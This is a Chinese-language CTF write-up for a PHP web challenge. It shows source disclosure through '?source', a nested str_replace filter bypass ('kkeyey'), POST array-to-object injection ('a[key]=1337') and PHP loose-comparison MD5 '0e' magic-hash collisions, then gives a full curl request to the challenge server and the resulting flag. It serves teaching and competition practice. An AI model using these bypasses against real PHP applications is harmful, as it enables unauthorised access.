WEB
消失的密钥
前期探测
访问首页
访问首页后,可以看到一个认证界面,页面要求输入一个名为step1的授权值。表面上看,页面只暴露了一个输入框,没有给出其它功能入口。
黑盒探测源码入口
在不知道源码的前提下,可以尝试 PHP CTF 题里常见的调试参数,例如:
?source
?debug
?view
?highlight
该题中,访问:http://39.105.213.28:12601/?source会直接返回高亮后的 PHP 源码。
源码审计
过滤
$step1 = $_GET['step1'];
$filtered = str_replace("key", "", $step1);先把输入中的所有小写
key删除;删除之后的结果必须严格等于字符串
key。
POST 数据结构
$a = $_POST['a'] ?? null;
$obj_a = (object)$a;
$user_key = $obj_a->key;
if (isset($user_key) && $user_key === "1337") {$_POST['a']必须存在;转成对象后,能访问到
$obj_a->key;该属性值必须严格等于字符串
"1337"。
哈希比较
$val_a = $_GET['a'] ?? "";
$val_b = $_GET['b'] ?? "";
if ($val_a !== "" && $val_b !== "" && $val_a !== $val_b) {
if (md5($val_a) == md5($val_b)) {a和b都不能为空;a和b不能是相同字符串;但
md5($a)与md5($b)在 PHP 的 == 判断下要“相等”。
第一关详细利用
通过“重复片段嵌套”构造输入:kkeyey,服务端执行:str_replace("key", "", "kkeyey") => "key",于是条件:$filtered === "key"成立,第一关通过。
第二关详细利用
在 PHP 表单处理中,像下面这样的 POST 数据:
a[key]=1337
会被自动解析为:
$_POST['a'] = [
'key' => '1337'
];
接着执行:
_POST['a'];
就会得到一个等价对象:
$obj_a->key === "1337"
于是第二关通过。
6.3 4.3 为什么不需要 JSON
很多人在看到“对象”时会直觉想到传 JSON,但这题根本不需要。原因是:
· PHP 表单参数本身就支持数组语法;
· (object)$array 会把数组键转换成对象属性;
· 所以直接提交 a[key]=1337 就够了。
这是 PHP Web 题里很常见的一种利用方式。
7 五、第三关详细利用
7.1 5.1 条件分析
第三关判断的是:
val_a !== "" && val_b !== "" &&val_b
以及:
md5($val_a) == md5($val_b)
也就是说:
· a 和 b 必须是两个不同的非空字符串;
· 但它们的 MD5 值在弱比较下要相等。
7.2 5.2 经典 0e 弱比较绕过
可以使用这组经典输入:
a=QNKCDZO
b=240610708
它们是两个不同字符串,满足:
val_b
但对应的 MD5 分别为:
md5("QNKCDZO") = 0e830400451993494058024219903391
md5("240610708") = 0e462097431906509019562988736854
注意这两个结果都长得像科学计数法形式的数字:
· 0e830400451993494058024219903391
· 0e462097431906509019562988736854
在 PHP 的弱比较 == 中,这类字符串会被解释成数值:
0 × 10^若干次方
结果都等于数字 0。因此:
md5("QNKCDZO") == md5("240610708")
会被判断为真。
7.3 5.3 为什么 === 就不行
如果题目写成:
md5($val_a) === md5($val_b)
那么 PHP 会按字符串逐字节比较,两串 MD5 不完全相同,就一定失败。
这正是强比较和弱比较在安全性上的关键差异。
8 六、完整利用链
8.1 6.1 最终请求参数
8.1.1 GET 参数
?step1=kkeyey&a=QNKCDZO&b=240610708
8.1.2 POST 数据
a[key]=1337
8.2 6.2 利用效果
这组数据会依次满足:
1. step1=kkeyey 经过 str_replace("key", "", ...) 后得到 key;
2. a[key]=1337 被 PHP 解析后,可让 $obj_a->key === "1337";
3. QNKCDZO 与 240610708 的 MD5 在 PHP == 下相等;
4. 服务端进入最终分支并输出 flag。
9 七、复现过程
9.1 7.1 使用 curl 复现
curl 'http://39.105.213.28:12601/?step1=kkeyey&a=QNKCDZO&b=240610708' \
-d 'a[key]=1337'
9.2 7.2 返回结果
服务端最终返回:
CREDENTIAL_FOUND: ISCC{hash_collision_v1_0e_2x_stable}